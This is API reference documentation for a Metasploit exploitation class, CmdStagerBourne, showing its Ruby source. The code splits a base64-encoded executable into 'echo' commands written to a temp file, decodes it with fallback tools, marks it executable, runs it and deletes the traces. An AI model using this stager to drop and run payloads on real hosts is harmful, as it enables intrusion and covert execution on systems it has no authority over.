Class: Rex::Exploitation::CmdStagerBourne

Inherits:
CmdStagerBase show all
Defined in:
lib/rex/exploitation/cmdstager/bourne.rb

Instance Method Summary collapse

Methods inherited from CmdStagerBase

#generate_cmds_payload, #setup, #slice_up_payload, #teardown

Constructor Details

#initialize(exe) ⇒ CmdStagerBourne

Returns a new instance of CmdStagerBourne.



12
13
14
15
16
17
# File 'lib/rex/exploitation/cmdstager/bourne.rb', line 12

def initialize(exe)
  super

  @var_encoded = Rex::Text.rand_text_alpha(5) + '.b64'
  @var_decoded = Rex::Text.rand_text_alpha(5)
end

Instance Method Details

#cmd_concat_operatorObject



113
114
115
# File 'lib/rex/exploitation/cmdstager/bourne.rb', line 113

def cmd_concat_operator
  " ; "
end

#compress_commands(cmds, opts) ⇒ Object



91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
# File 'lib/rex/exploitation/cmdstager/bourne.rb', line 91

def compress_commands(cmds, opts)
  # Make it all happen
  cmds << "chmod +x '#{@tempdir}#{@var_decoded}'"
  # Background the process, allowing the cleanup code to continue and delete the data
  # while allowing the original shell to continue to function since it isn't waiting
  # on the payload to exit.  The 'sleep' is required as '&' is a command terminator
  # and having & and the cmds delimiter ';' next to each other is invalid.
  if opts[:background]
    cmds << "'#{@tempdir}#{@var_decoded}' & sleep 2"
  else
    cmds << "'#{@tempdir}#{@var_decoded}'"
  end

  # Clean up after unless requested not to..
  if (not opts[:nodelete])
    cmds << "rm -f '#{@tempdir}#{@var_decoded}'"
    cmds << "rm -f '#{@tempdir}#{@var_encoded}'"
  end

  super
end

#encode_payload(opts) ⇒ Object

Simple base64…



48
49
50
# File 'lib/rex/exploitation/cmdstager/bourne.rb', line 48

def encode_payload(opts)
  Rex::Text.encode_base64(@exe)
end

#generate(opts = {}) ⇒ Object



19
20
21
22
23
24
25
26
27
28
29
30
# File 'lib/rex/exploitation/cmdstager/bourne.rb', line 19

def generate(opts = {})
  opts[:temp] = opts[:temp] || '/tmp/'
  opts[:temp] = opts[:temp].empty?? opts[:temp] : opts[:temp] + '/'
  opts[:temp] = opts[:temp].gsub(/\/{2,}/, '/')
  opts[:temp] = opts[:temp].gsub(/'/, "\\\\'")
  opts[:temp] = opts[:temp].gsub(/ /, "\\ ")
  if (opts[:file])
      @var_encoded = opts[:file] + '.b64'
      @var_decoded = opts[:file]
  end
  super
end

#generate_cmds(opts) ⇒ Object

Override just to set the extra byte count



35
36
37
38
39
40
41
42
# File 'lib/rex/exploitation/cmdstager/bourne.rb', line 35

def generate_cmds(opts)
  # Set the start/end of the commands here (vs initialize) so we have @tempdir
  @cmd_start = "echo -n "
  @cmd_end   = ">>'#{@tempdir}#{@var_encoded}'"
  xtra_len = @cmd_start.length + @cmd_end.length + 1
  opts.merge!({ :extra => xtra_len })
  super
end

#generate_cmds_decoder(opts) ⇒ Object

Generate the commands that will decode the file we just created



74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
# File 'lib/rex/exploitation/cmdstager/bourne.rb', line 74

def generate_cmds_decoder(opts)
  decoders = [
    "base64 --decode -",
    "openssl enc -d -A -base64 -in /dev/stdin",
    "python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());'",
    "perl -MMIME::Base64 -ne 'print decode_base64($_)'"
  ]
  decoder_cmd = []
  decoders.each do |cmd|
    binary = cmd.split(' ')[0]
    decoder_cmd << "(which #{binary} >&2 && #{cmd})"
  end
  decoder_cmd = decoder_cmd.join(" || ")
  decoder_cmd = "(" << decoder_cmd << ") 2> /dev/null > '#{@tempdir}#{@var_decoded}' < '#{@tempdir}#{@var_encoded}'"
  [ decoder_cmd ]
end

#parts_to_commands(parts, opts) ⇒ Object

Combine the parts of the encoded file with the stuff that goes before / after it.



57
58
59
60
61
62
63
64
65
66
67
68
69
# File 'lib/rex/exploitation/cmdstager/bourne.rb', line 57

def parts_to_commands(parts, opts)

  cmds = []
  parts.each do |p|
    cmd = ''
    cmd << @cmd_start
    cmd << p
    cmd << @cmd_end
    cmds << cmd
  end

  cmds
end